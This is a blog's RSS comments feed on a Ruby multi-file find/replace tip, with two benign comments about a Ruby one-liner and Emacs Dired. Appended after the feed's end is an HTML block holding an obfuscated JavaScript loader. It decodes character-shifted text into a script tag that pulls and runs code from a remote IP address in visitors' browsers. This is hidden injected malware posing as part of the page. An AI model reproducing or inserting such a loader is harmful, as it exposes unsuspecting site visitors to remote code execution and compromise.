<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Handy Ruby Tool: multi-file Find/Replace</title>
	<atom:link href="http://blog.secosoft.net/2006/01/25/handy-ruby-tool-multi-file-findreplace/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.secosoft.net/2006/01/25/handy-ruby-tool-multi-file-findreplace/</link>
	<description>Matt Secoske's intermittent ramblings on software and life</description>
	<pubDate>Wed, 03 Dec 2008 23:57:13 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: Matt</title>
		<link>http://blog.secosoft.net/2006/01/25/handy-ruby-tool-multi-file-findreplace/#comment-1006</link>
		<dc:creator>Matt</dc:creator>
		<pubDate>Mon, 24 Apr 2006 13:03:33 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/01/25/handy-ruby-tool-multi-file-findreplace/#comment-1006</guid>
		<description>And today I found out that you can do this:

- from comp.lang.ruby &lt;a href="http://groups.google.com/group/comp.lang.ruby/browse_thread/thread/6e1efc82537b15c2" rel="nofollow"&gt;[Linky]&lt;/a&gt;:
ruby -wpi.bak -e 'gsub!(/search/, "replace")' fileset

Where fileset can be any number of things.  I tried this command:  ruby -wpi.bak -e 'gsub!(/class/, "claus!")' **/*.java

Works! (well, you kinda have issues with your java code, but thats why you have the 'i.bak' in the command.  This will save off every file before it is modified.

</description>
		<content:encoded><![CDATA[<p>And today I found out that you can do this:</p>
<p>- from comp.lang.ruby <a href="http://groups.google.com/group/comp.lang.ruby/browse_thread/thread/6e1efc82537b15c2" rel="nofollow">[Linky]</a>:<br />
ruby -wpi.bak -e &#8216;gsub!(/search/, &#8220;replace&#8221;)&#8217; fileset</p>
<p>Where fileset can be any number of things.  I tried this command:  ruby -wpi.bak -e &#8216;gsub!(/class/, &#8220;claus!&#8221;)&#8217; **/*.java</p>
<p>Works! (well, you kinda have issues with your java code, but thats why you have the &#8216;i.bak&#8217; in the command.  This will save off every file before it is modified.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: MikeH</title>
		<link>http://blog.secosoft.net/2006/01/25/handy-ruby-tool-multi-file-findreplace/#comment-681</link>
		<dc:creator>MikeH</dc:creator>
		<pubDate>Thu, 26 Jan 2006 12:57:26 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/01/25/handy-ruby-tool-multi-file-findreplace/#comment-681</guid>
		<description>Emacs with it's Dired interface will let you select the files you want to mass-edit and to a search and replace.

See the link below and search for "A regexp":
http://www.gnu.org/software/emacs/manual/emacs.html#Operating-on-Files

It's time you stopped mucking with the commercial crap and use the One True Editor. :)</description>
		<content:encoded><![CDATA[<p>Emacs with it&#8217;s Dired interface will let you select the files you want to mass-edit and to a search and replace.</p>
<p>See the link below and search for &#8220;A regexp&#8221;:<br />
<a href="http://www.gnu.org/software/emacs/manual/emacs.html#Operating-on-Files" rel="nofollow">http://www.gnu.org/software/emacs/manual/emacs.html#Operating-on-Files</a></p>
<p>It&#8217;s time you stopped mucking with the commercial crap and use the One True Editor. <img src='http://blog.secosoft.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>

